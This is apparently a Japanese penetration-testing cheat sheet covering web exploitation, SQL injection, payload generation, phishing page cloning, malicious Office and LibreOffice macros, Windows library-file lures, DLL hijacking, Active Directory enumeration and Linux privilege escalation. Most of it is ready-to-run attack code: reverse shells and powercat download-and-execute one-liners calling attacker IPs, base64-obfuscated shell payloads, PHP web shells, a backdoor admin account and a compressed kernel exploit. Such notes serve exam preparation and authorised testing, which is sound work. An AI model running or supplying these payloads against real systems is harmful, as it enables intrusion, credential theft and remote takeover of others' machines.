system("powershell -c \"IEX(iwr http://10.10.15.133/powercat.ps1 -UseBasicParsing);powercat -c 10.10.15.133 -p 4444 -e powershell\"");
PHPラッパー / アーカイブ
php://filter でロードしたリソースが PHP の場合は実行されてしまうため、ソースを取得したいときは base64 エンコードする。
# ファイル読み込み(page=, file=)
curl <targetURL>?page=php://filter/resource=admin.php
# base64エンコードして取得
curl <targetURL>?page=php://filter/convert.base64-encode/resource=admin.php
# data:// でコマンド実行
curl "<targetURL>?page=data://text/plain,<?php%20echo%20system('ls');?>"
# base64版: echo -n '<?php echo system($_GET["cmd"]);?>' をエンコード
curl "<targetURL>?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
# zip ラッパー
echo '<?php system($_REQUEST["cmd"]); ?>' > payload.php
zip -r payload.zip payload.php
curl "<targetURL>?file=zip://uploads/<fileName>.zip%23payload&cmd=id"
# phar ラッパー
# include('phar://myapp.phar/src/index.php');
# file_get_contents('phar://archive.zip/folder/file.txt');
ファイルアップロード
php がブロックされたら拡張子を変える、または Burp で正規拡張子→送信時に php へ書き換える。
-
拡張子変更:
phps,php7,pHP,PhP,phtml,phar,php5 - Burp でファイル名変更(クライアント側チェック後に改変)
-
.htaccessでファイルタイプ偽装(条件: Apache /AllowOverride All/.htaccessアップロード可 / WebRoot配下)# 末尾の拡張子は任意 AddType application/x-httpd-php .phtml2
# Kaliの php WebShell 一覧
ls -l /usr/share/webshells/php
# php-backdoor.php / php-reverse-shell.php / qsd-php-backdoor.php / simple-backdoor.php
# 画像偽装リバースシェル(マジックナンバー + ペイロード)
echo "GIF89a;" > reverse.gif
msfvenom -p php/reverse_php LHOST=<attackerIP> LPORT=<attackerPort> >> reverse.gif
アップロードしたファイルがOSコマンドで処理される場合、Burpでファイル名をいじる
# 処理ロジック
system("/usr/bin/clamscan $name");
# Burpで以下のように修正する
filename="rev.php5 && whoami"
# 以下を連結させる
## rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.174 4444 >/tmp/f
echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguNDUuMTc0IDQ0NDQgPi90bXAvZg== | base64 -d | bash
pngバイパス
# 適当なpngファイルの作成
convert -size 100x100 xc:white revshell.png
# ペイロード追記
echo '<?php' >> revshell.php.png
echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackerIP> <attackerPort> >/tmp/f");' >> revshell.php.png
echo '?>' >> revshell.php.png
PowerShell をURL経由で実行する場合の注意
PowerShell の Base64 リバースシェルは revshells の PowerShell #2(Encoding: URL Encode)が安定。powershell -enc のスペースは %20 埋めに注意。
# Base64生成(UTF-16LE)
$Text = '$client = New-Object System.Net.Sockets.TCPClient("<attackerIP>",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
[Convert]::ToBase64String($Bytes)
実行ファイルが書けない場合、既存ファイル(例:
authorized_keys)の上書きで制御を奪える可能性も検討する。
OSコマンドインジェクション
# シェル判別(cmd か powershell か)
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
# --- Windows: powercat リバースシェル ---
IEX (New-Object System.Net.Webclient).DownloadString("http://<listenIP>/powercat.ps1");powercat -c <listenIP> -p <listenPort> -e powershell
# ↓ URLエンコードしてフォームへ
curl -X POST --data 'Archive=git%3BIEX%20...%20powershell' http://<targetIP>:8000/archive
# --- Linux ---
"; /bin/bash -c 'bash -i >& /dev/tcp/<attackerIP>/4444 0>&1';"
# 実行中プログラムの引数取得
cat /proc/self/cmdline
SQL
文字列指定は MSSQL がシングルクォートのみのため、全DBでシングルクォートに統一すると無難。
https://portswigger.net/web-security/sql-injection/cheat-sheet
MySQL
mysql -u root -p'root' -h <targetIP> -P 3306 --skip-ssl-verify-server-cert
SELECT version();
SELECT system_user();
SHOW databases;
SELECT database();
SHOW tables FROM <dbName>;
SHOW columns FROM <dbName>.<tableName>;
DESCRIBE <dbName>.<tableName>;
SELECT * FROM <dbName>.<tableName> WHERE user = 'offsec';
# Metasploit
use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_hashdump
MSSQL
impacket-mssqlclient Administrator:Lab123@<targetIP> -windows-auth
SELECT @@version;
SELECT system_user;
SELECT name FROM sys.databases;
SELECT DB_NAME();
SELECT name FROM <dbName>.sys.tables;
SELECT name FROM <dbName>.sys.columns WHERE object_id = OBJECT_ID('<dbName>..<tableName>');
SELECT * FROM <dbName>..<tableName>;
PostgreSQL
デフォルトクレデンシャル: postgres:postgres / postgres:password / postgres:admin / admin:admin / admin:password
psql -h <targetIP> -p <targetPort> -U <userName>
# DB一覧
\list
# DB切替
\c <dbName>
# テーブル一覧
\dt
# カラム一覧
\d <tableName>
select * from <tableName>;
# RCE 1
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
# RCE 2(いずれか1つ)
COPY (SELECT pg_backend_pid()) TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f';
COPY (SELECT CAST('cp /bin/bash /var/lib/postgresql/bash;chmod 4777 /var/lib/postgresql/bash;' AS text)) TO '/var/lib/postgresql/.profile';
SQLインジェクション(手動)
DB別ペイロードは /usr/share/wordlists/seclists/Fuzzing/Databases/SQLi 配下に保存されている。
# --- エラーベース ---
# // で空白切り捨て保護
user' OR 1=1 -- //
' or 1=1 in (select @@version) -- //
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
# --- UNIONベース ---
## カラム数調査(6でエラー→5列)
' ORDER BY 1-- //
%' UNION SELECT 'a1','a2','a3','a4','a5' -- //
%' UNION SELECT database(), user(), @@version, null, null -- //
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
' UNION SELECT null, username, password, description, null FROM users -- //
# --- bool / time ベース ---
http://<targetIP>/blindsqli.php?user=user' AND 1=1 -- //
http://<targetIP>/blindsqli.php?user=user' AND IF (1=1, sleep(3),'false') -- //
# --- Responder連携(MSSQL) ---
# Kali: sudo responder -I tun0
123';exec master..xp_dirtree '\\<attackerIP>\test';--
# --- Webシェル書き出し(MySQL INTO OUTFILE) ---
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
参考:
SQLmap
Burp で取得した POST リクエスト(ヘッダー・ボディ込み)をファイル化して流用する。
作成手順は下記の通り
- Burp Suiteでフォーム送信のリクエストを行う
- Interceptの中身すべてをコピーし、テキストファイルにする(もしくはHistoryから取得する)
sqlmap -r <requestFile> -p <field> --current-user
sqlmap -u "http://example.com/login.php" --data "username=admin"
# --batch: 全てYes, --time-sec: タイムベース待機
sqlmap --batch --time-sec=1 -r post_request.txt -p blood_group --current-db
sqlmap -r post_request.txt -p blood_group --dbs
sqlmap -r post_request.txt -p blood_group -D <dbName> --tables
sqlmap -r post_request.txt -p blood_group -D <dbName> -T <tableName> --columns
sqlmap -r post_request.txt -p blood_group -D <dbName> -T <tableName> --dump
# OSシェル(--web-rootは書き込み可能フォルダ)
sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"
| 引数 | 説明 |
|---|---|
| -r | サンプルリクエスト指定 |
| --data | POSTボディ指定 |
| -p | テストフィールド名 |
| --current-user / --current-db | DB接続ユーザー / 現在のDB |
| --dbs / -D | DB一覧 / DB指定 |
| --tables / -T | テーブル一覧 / テーブル指定 |
| --columns / --dump | カラム一覧 / データ出力 |
| --technique | テクニックを指定する B = Boolean-based blind E = Error-based U = UNION query-based S = Stacked queries T = Time-based blind Q = Inline queries |
websocket
HTTPリクエストをプロキシしてwebsocketプロトコルに変換する。
#!/usr/bin/env python3
from http.server import SimpleHTTPRequestHandler, HTTPServer
import websocket
import json
from urllib.parse import urlparse, parse_qs
# ---- settings ----
WS_URL = "ws://soc-player.soccer.htb:9091/"
PARAM = "id"
LISTEN = ("127.0.0.1", 8888)
def forward_to_ws(data):
ws = websocket.create_connection(WS_URL)
ws.send(json.dumps({PARAM: data}))
result = ws.recv()
ws.close()
return result
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
query = parse_qs(urlparse(self.path).query)
value = query.get(PARAM, [""])[0]
result = forward_to_ws(value)
self.send_response(200)
self.end_headers()
self.wfile.write(result.encode())
def log_message(self, format, *args):
pass
if __name__ == "__main__":
print(f"[*] Listening on {LISTEN[0]}:{LISTEN[1]} → {WS_URL}")
HTTPServer(LISTEN, Handler).serve_forever()
# プロキシ向けに通信させる
sqlmap "http://127.0.0.1:8888/?id=1" --batch --level 5 --risk 3 --dbs
2.4 その他サービスExploit
JDWP
# localhostのみ許可ならligolo経由でアクセス(→ 11.3 ligolo-ng)
python2 ./jdwp-shellifier.py -t 240.0.0.1 -p 8000 --cmd "busybox nc <attackerIP> 4444 -e sh"
# 対象サーバー上で5000ポートにアクセスしてイベント発火
nc 127.0.0.1 5000
# → リバースシェル取得(uid=0(root))
unisql (WiFi Mouse)
→ unisql (TCP/1978) を参照。
3. 武器化・クライアントサイド攻撃 (Resource Development)
3.1 ペイロード生成 (msfvenom)
-
Staged: Exploit後に再接続し二次ペイロードを転送・実行。AMSIに検知されやすい(例:
linux/x64/shell/reverse_tcp)。 -
Non-Staged: シェルコードをすべて送信。使いやすいが検知されやすい(例:
linux/x64/shell_reverse_tcp)。 - Windows ペイロードの選択:
winnet(ログインユーザー権限のアプリ向け) /winhttp(サービス等バックグラウンド向け)。
msfvenom -l payloads --platform windows --arch x64
msfvenom -p <payload> -f <format> -o <path/fileName> LHOST=<listenIP> LPORT=<listenPort>
| 引数 | 説明 |
|---|---|
| -p | ペイロード |
| -f | フォーマット(ファイルタイプ) |
| -e | エンコーディング |
| -o | 出力先・ファイル名 |
3.2 リバースシェル集
# bash
bash -c '/bin/bash -i >& /dev/tcp/<attackerIP>/<attackerPort> 0>&1'
# busybox
busybox nc <attackerIP> <attackerPort> -e /bin/sh
# socat(安定・フル機能)
## Kali
socat file:`tty`,raw,echo=0 tcp-listen:4444
## Victim
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attackerIP>:4444
# PowerShell powercat
IEX (New-Object System.Net.Webclient).DownloadString("http://<listenIP>/powercat.ps1");powercat -c <listenIP> -p <listenPort> -e powershell
シェル取得後の安定化は 4.1 シェルのグレードアップ。
3.3 Phishing(Webページのクローン)
wget -E -k -K -p -e robots=off -H -Dzoom.us -nd "https://zoom.us/signin#/login"
# こちらの方が正しく動くことが多い
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent "https://zoom.us/signin#/login"
| オプション | 説明 |
|---|---|
-E |
コンテンツタイプに合わせ拡張子付与 |
-k |
リンクをローカルパスに変更 |
-K |
-k書換前を.orig保存 |
-p |
表示に必要な要素を取得 |
-e robots=off |
robots.txt無視 |
-H |
指定外ドメインからの取得許可 |
-D |
ドメイン名指定 |
-nd |
階層を作らずカレントに保存 |
3.4 クライアントサイド攻撃
Base64 ペイロードの準備(マクロ共通)
コマンドを Base64 エンコード(Windows端末上、または CyberChef は Input を UTF-16LE)。
# powercat ダウンロード&実行ワンライナー(エンコード対象)
IEX(New-Object System.Net.WebClient).DownloadString('http://<listenIP>/powercat.ps1');powercat -c <attackerIP> -p <attackerPort> -e powershell
50文字ずつチャンク分割するスクリプト:
#!/usr/bin/env python3
prefix = "powershell.exe -nop -w hidden -enc "
# Base64エンコード済み文字列
encoded = "SQBFAFgAKABOAGUAdwAt..."
s = prefix + encoded
chunk = 50
for i in range(0, len(s), chunk):
print('Str = Str + "' + s[i:i+chunk] + '"')
Microsoft Office Macro (docm, xlsm)
AutoOpen と Document_Open は開き方で実行されるものが異なるため両方定義する。
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
' ... 分割した残りを追記 ...
CreateObject("Wscript.Shell").Run Str
End Sub
LibreOffice Macro (odt)
Tools > Macros > Organize Macros > Basic で Macro From: Untitled 1 > New。作成後 Tools > Customize > Events > Assign: Macro で Open Document に割当て。
Sub main
Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://<attackerIP>:<attackerPort>/powercat.ps1');powercat -c <attackerIP> -p <attackerPort> -e powershell")
End Sub
ツール生成(MMG-LO):
# build_payload を編集
build_payload = (f'IEX(New-Object System.Net.WebClient).DownloadString("http://<attackerIP>/powercat.ps1");powercat -c {ip} -p {port} -e powershell')
python3 mmg-ods.py windows <attackerIP> <revShellListenIP>
Windowsライブラリファイル (.Library-ms) の悪用
.Library-ms を実行させ WebDAV に接続させ、保存した悪意ある .lnk を実行させる。
sudo apt install python3-wsgidav
mkdir webdav
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /path/to/webdav/
-
<name>は@windows.storage.dll,-34582を推奨(@shell32.dll,-34575はシグネチャ検知の可能性)。 -
iconReference:-1002(Documents) /-1003(Pictures)
<!-- config.Library-ms -->
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo>
<searchConnectorDescriptionList><searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation><url>http://<attackerIP></url></simpleLocation>
</searchConnectorDescription></searchConnectorDescriptionList>
</libraryDescription>
# 悪意ある automatic_configuration.lnk(Windows上で作成)
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<attackerIP>:8000/powercat.ps1');powercat -c <attackerIP> -p <attackerPort> -e powershell"
配送 (swaks / SMB)
# メール添付配送(--body: 本文ファイル)
swaks -t user1@example.com -t user2@example.com --from admin@example.com --attach @<fileName> --server <targetIP> --body @<fileName> --header "Subject: Hello World" --suppress-data -au <userName> -ap <password>
swaks --to "<userName>@<domain>" --header "Subject: Resume" --attach @resume2.odt --server <targetIP> --from "<userName>@<domain>" -au <userName> -ap <password>
# SMB経由のアップロード
smbclient //<targetIP>/share -c 'put config.Library-ms'
NTLMハッシュ窃取ファイル生成 (ntlm_theft)
# ファイルの作成
python3 -m venv venv
pip3 install xlsxwriter
python3 ./ntlm_theft.py -g lnk -s <attackerIP> -f hello
# 待ち受け側の設定
sudo responder -I tun0
# アップロード
for f in *; do
echo "Uploading: $f"
smbclient //<targetIP>/<targetPath> -U '<userName>%<password>' -c "put \"$f\" \"$(basename "$f")\"" || echo "Failed: $f"
done
3.5 DLL Hijack
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("net user dave3 password123! /add");
system("net localgroup administrators dave3 /add");
break;
case DLL_THREAD_ATTACH: break;
case DLL_THREAD_DETACH: break;
case DLL_PROCESS_DETACH: break;
}
return TRUE;
}
x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
3.6 Metasploit Framework
外部Exploitコードの取り込み
searchsploit -m 47195
grep "class MetasploitModule" 47195.rb # モジュールカテゴリ確認
sudo mkdir -p /root/.msf4/modules/exploits/linux/redis/
sudo mv 47195.rb /root/.msf4/modules/exploits/linux/redis/redis_unauthenticated_code_execution.rb
msfconsole -q
msf > loadpath /root/.msf4/modules
msf > reload_all
MSF console
# DB初期化
sudo msfdb init
sudo msfconsole -q
db_status
workspace -a pen200
db_nmap -A <TargetIP>
hosts ; services ; vulns ; creds
# セッション操作
channel -l ; channel -i 1
info ; ps ; getuid ; getsystem
migrate <PID>
Resource Script(multi/handler の自動化)
プリセット: /usr/share/metasploit-framework/scripts/resource
use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_https
set LHOST <listenIP>
set LPORT <listenPort>
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
run -z -j
Metasploit を使ったピボット(autoroute / socks_proxy / portfwd)は 11. Pivoting を参照。
4. 侵入後の基礎操作 (Foothold)
4.1 シェルのグレードアップ
パターン1(pty + stty)
python -V; python3 -V
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z でバックグラウンドへ
stty raw -echo; fg
パターン2
script /dev/null -qc /bin/bash
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
制限シェル(rshell)からの脱出
sshpass -p '<password>' ssh <username>@<IP> -t bash
4.2 ファイル転送(統合)
Linux → Windows / 配送(HTTP)
# cmd
certutil -urlcache -f <URL> <saveFileName>
curl http://<listenIP>:<listenPort>/<fileName> -o <pathToSaveFile>
# PowerShell ダウンロード
(New-Object Net.WebClient).DownloadFile('http://<listenIP>:<listenPort>/<fileName>', '<savePath>')
iwr http://<listenIP>:<listenPort>/<fileName> -OutFile <savePath>
# PowerShell ダウンロード&実行
iex ((New-Object Net.WebClient).DownloadString('http://<listenIP>:<listenPort>/<fileName>'))
iex (iwr http://<listenIP>:<listenPort>/<fileName> -UseBasicParsing)
SMB
# Host(Kali)
sudo impacket-smbserver -smb2support Share <sharePath>
# cmd / powershell でコピー
echo F | xcopy <fileName> \\<computername>\C$\Users\Public\<fileName>
Copy-Item <fileName> \\<computername>\C$\Users\Public\<fileName>
evil-winrm
upload <sourceFilePath> <destinationFilePath>
download <sourceFilePath> <destinationFilePath>
netcat(双方向)
# 受信側
nc -lnvp <listenPort> > recv_file.txt
# 送信側
nc <listenIP> <listenPort> < secret.txt
# Windowsからの送信例
cmd.exe /c 'C:\Users\Public\nc.exe <attackerIP> <attackerPort> < C:\Users\Public\secret.txt'
RDP 経由のドライブ共有
xfreerdp /v:<targetIP> /u:'<domain>\<username>' /p:<password> /dynamic-resolution /cert:ignore /drive:share,/home/kali/tools +clipboard
持ち出し(Exfiltration)用の uploadserver は 12. データ持ち出し (Exfiltration) を参照。
5. 内部探索 (Discovery)
5.1 ホスト・ユーザー・権限の確認
# 現在のユーザー・権限・グループ
whoami /all
hostname
# OS, ドメイン参加状況, パッチ
systeminfo
# ドメイン名(WORKGROUPならスタンドアロン)
echo %USERDOMAIN%
# AD参加確認
net config workstation
# --- スタンドアロン ---
net user
net localgroup administrators
# --- AD参加 ---
net user /domain
net group /domain
net group "Domain Admins" /domain
5.2 ネットワーク列挙
# --- Linux ---
# ARP
ip neigh
# Interface
ip a
# Port(-a全接続 -nサービス名解決なし -pプロセス)
ss -napA inet
for i in {1..254}; do (ping -c 1 192.168.11.$i | grep "bytes from"); done
sudo tcpdump -i lo -A | grep pass
cat /etc/iptables/rules.v4
# --- Windows ---
# Domain
net config workstation
# ARP
arp -a
# Interface
ipconfig /all
# Routing
route print
# Connection
netstat -ano -p tcp
for /l %i in (1,1,254) do @ping -n 1 -w 100 192.168.22.%i | find "TTL="
5.3 機微情報・機微ファイルの探索
コマンド履歴
# Linux
history
cat ~/.bash_history
# Windows / powershell history
Get-History
(Get-PSReadlineOption).HistorySavePath
type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\*
## ★WinPEASでは出てこないため手動で確認する
c:\Users\<userName>\AppData\Local\
c:\Users\<userName>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_***\LocalState\*
ファイル探索
# --- Linux ---
find / -name "username" -or -name "password" 2>/dev/null
find / -name *secret* 2>/dev/null
# WordPress: wordpress/wp-config.php
# --- Windows: Seatbelt
Seatbelt.exe WindowsAutoLogon EnvironmentVariables PowerShellHistory CredEnum WindowsVault WindowsCredentialFiles RDPSavedConnections PuttySessions PuttyHostKeys RDCManFiles InstalledProducts
# --- Windows: ファイル名ベース ---
Get-ChildItem -Path . -Filter "*secret.txt*" -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Include *.kdbx,*.txt,*.ini,*.sqlite,*.config,*.dat,*.xml -File -Recurse -Force -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Include *.sqlite,*.db,*.kdbx,*.config,*.xml,*.txt,*.ini,*.dat -File -Recurse -Force -ErrorAction SilentlyContinue
dir C:\Users\<userName>\AppData\Local\Packages\*.sqlite /s /b /a
dir /s *local.txt 2>nul
dir /s *RDCMan.settings 2>nul
# --- Windows: 中身ベース ---
Get-ChildItem -Path . -Recurse | Select-String -Pattern 'DB_PASSWORD' 2>$null
findstr /SIM /C:"pass" *.ini *.cfg *.xml
type <fileName> | findstr "password"
# 所有者の確認
(Get-Acl "C:\path\to\file.txt").Owner
Get-ChildItem "C:\path\to\folder" | Select-Object Name, @{Name="Owner"; Expression={(Get-Acl $_.FullName).Owner}}
# 資格情報の確認
cmdkey /list
無人インストール (Unattend) のクレデンシャル
C:\Unattend.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\system32\sysprep.infC:\Windows\system32\sysprep\sysprep.xml
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
windows.old / SAM・SYSTEM の取得は 7.1 ローカルクレデンシャルダンプ (LSASS / SAM) に統合。
5.4 プロセス・サービス・タスク列挙
具体的な権限昇格手順は 6.2 Windows を参照。
Windows Local Privilege Escalation - HackTricks
# --- Linux ---
ps aux
cat /etc/fstab ; mount ; lsblk
# --- Windows: プロセス ---
tasklist /SVC
tasklist /v /fi "username eq system"
Get-Process
Get-Process -Name <name> | Select-Object Name, Path
# --- Windows: サービス ---
sc query ; Get-Service
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Get-CimInstance -ClassName win32_service | Where-Object {$_.Name -like 'BackupMonitor'} | Format-List *
sc qc <serviceName>
# 編集権限があるサービスのチェック
accesschk.exe "<Everyone or Username>" -cvuqw * -accepteula
# ビルトイン以外のサービスを列挙
sc query type=all state=all | findstr /V "Microsoft Windows"
Get-WmiObject Win32_Service | Where-Object { $_.PathName -notlike "*system32*" -and $_.PathName -notlike "*SysWOW64*" } | Select-Object Name, StartName, PathName, StartMode | Format-Table -AutoSize
# --- Windows: スケジュールタスク ---
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /B /C:"TaskName" /C:"Run As User" /C:"Task To Run" /C:"Author"
# ビルトイン以外のカスタムタスク
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft*" } | ForEach-Object { $a = $_.Actions | Select-Object -First 1; [PSCustomObject]@{ TaskName = $_.TaskName; RunAs = $_.Principal.UserId; Execute = $a.Execute; Args = $a.Arguments } } | Format-Table -AutoSize
# --- Windows: インストール済みソフト ---
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# --- 定期プロセス実行の監視(Linuxは pspy / Windowsは下記) ---
while($true) { Get-Process | Select-Object Id, ProcessName, Path; Start-Sleep -Seconds 5 }
5.5 AD列挙 (PowerView / BloodHound)
# ----------------------------------------
# BloodHound
# ----------------------------------------
# BloodHound CE(Docker)
sudo docker compose up -d
docker compose logs | grep "Initial Password Set To"
sudo docker compose down --volumes
# SharpHound
## --SearchForest: フォレスト内全ドメイン
. .\SharpHound.ps1; Invoke-BloodHound -CollectionMethod All --SearchForest
.\SharpHound.exe -c All
# Kali Linux
bloodhound-python -u <userName> -p <password> -ns <targetIP> -d <domain> -c all --zip
# ----------------------------------------
# PowerView
# ----------------------------------------
# ACL列挙
Find-InterestingDomainACL -ResolveGUIDs | Select-Object ObjectDN,AceType,ActiveDirectoryRights,IdentityReferenceName | Format-List
# グループにAddSelfできるもの
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "Self" -and $_.ObjectType -eq "member"}
# アクセス可能な共有
Find-DomainShare -CheckShareAccess
Invoke-ShareFinder -Verbose
# SPN設定済み(Kerberoast対象)
Get-NetUser -SPN -Domain <domainName>
Get-ADUser -Filter {SamAccountName -eq "<userName>"} -Properties ServicePrincipalNames
# 事前認証無効(AS-REP Roast対象)
Get-DomainUser -PreauthNotRequired -Domain <domain> | Select userprincipalname, useraccountcontrol | Format-List
# 委任の探索
## 制約付き(ユーザー)
Get-DomainUser -TrustedToAuth | Select samaccounttype,userprincipalname,msds-allowedtodelegateto,useraccountcontrol | Format-List
## 制約付き(コンピュータ)
Get-DomainComputer -TrustedToAuth | Select samaccounttype,samaccountname,msds-allowedtodelegateto,useraccountcontrol | Format-List
## 制約なし
Get-DomainComputer -Unconstrained | select -ExpandProperty name
# DCSync / Replication権限
Get-ObjectAcl -DistinguishedName "DC=***,DC=***" -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "DS-Replication-Get-Changes" }
Kerberos攻撃・委任悪用の実行は 8. Active Directory 攻撃 を参照。
5.6 自動列挙ツール (PEAS)
# --- Linux ---
scp /usr/share/peass/linpeas/linpeas.sh <targetIP>:/path/to/save
# 色付きでログ保存
script -q -c '/usr/share/peass/linpeas/linpeas.sh' linpeas_out.txt
# --- Windows ---
# /usr/share/peass/winpeas/winPEASx64.exe
.\winPEASx64.exe
6. 権限昇格 (Privilege Escalation)
6.1 Linux
Kernel Exploit
Copy Fail (CVE-2026-31431)
- 影響バージョン: 6.18.21 未満 / 6.19.11 未満
#!/usr/bin/env python3
# copy_fail_exp.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
# one-liner: curl https://copy.fail/exp | python3 && su
# Go版: ./copyfail-go_Linux_x86_64
python3 ./copy_fail_exp.py
Dirty Cow
- 影響バージョン: 2.6.22 〜 / 4.8.3未満 / 4.7.9未満 / 4.4.26未満
# cc1が見つからない場合のPATH対処
export PATH="/usr/lib/gcc/x86_64-linux-gnu/4.8/:$PATH"
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
# → toor:password でログイン可能なrootユーザーが追加される
# ※ 終了後は /tmp/passwd.bak を /etc/passwd に戻すこと
DirtyPipe (CVE-2022-0847)
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
sudo
sudo -l
# /etc/sudoers が書き込み可能なら
echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers
# CVE-2021-3156 (sudo 1.8.2〜1.8.31p2 / 1.9.0〜1.9.5p1)
# バージョン確認
sudo -V
# https://github.com/stong/CVE-2021-3156 のコードを配送し make && ./exploit
# systemctl にコマンド+引数まで指定されている場合
# (root) NOPASSWD: /usr/bin/systemctl status example-server.service
systemctl status example-server.service
# ページャー表示後に入力
!/bin/bash
rysnc
sudoでrsyncコマンドが許可されている場合
sudo rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' 127.0.0.1:/dev/null
SUID
実行権限部が x でなく s。所有者権限でファイルを認証なし実行できる。
# 列挙
find / -perm -4000 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
# find
./find . -exec /bin/bash -p -i \;
# systemctl(SUID付きの場合)
echo '[Service]
Type=oneshot
ExecStart=/tmp/nc <attackerIP> 9000 -e /bin/bash
[Install]
WantedBy=multi-user.target' > /tmp/nc.service
/tmp/systemctl enable --now /tmp/nc.service
GTFObins で各バイナリの悪用方法を確認: https://gtfobins.github.io/
capability
getcap -r / 2>/dev/null
# 例: /usr/bin/python3.10 cap_setuid=ep
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
PATH(相対パス参照の悪用)
root 権限のプログラムがフルパス指定でないコマンドを呼ぶ場合、PATH を書き換えて偽コマンドを実行させる。
mkdir /home/<username>/bin
echo "/bin/sh" > /home/<username>/bin/<command>
chmod 777 /home/<username>/bin/<command>
export PATH=/home/<username>/bin:$PATH
cron / 定期実行プロセス
pspy で他ユーザー権限の cron ジョブも可視化できる(一般ユーザーでも可)。
https://github.com/DominicBreuker/pspy —
./pspy64
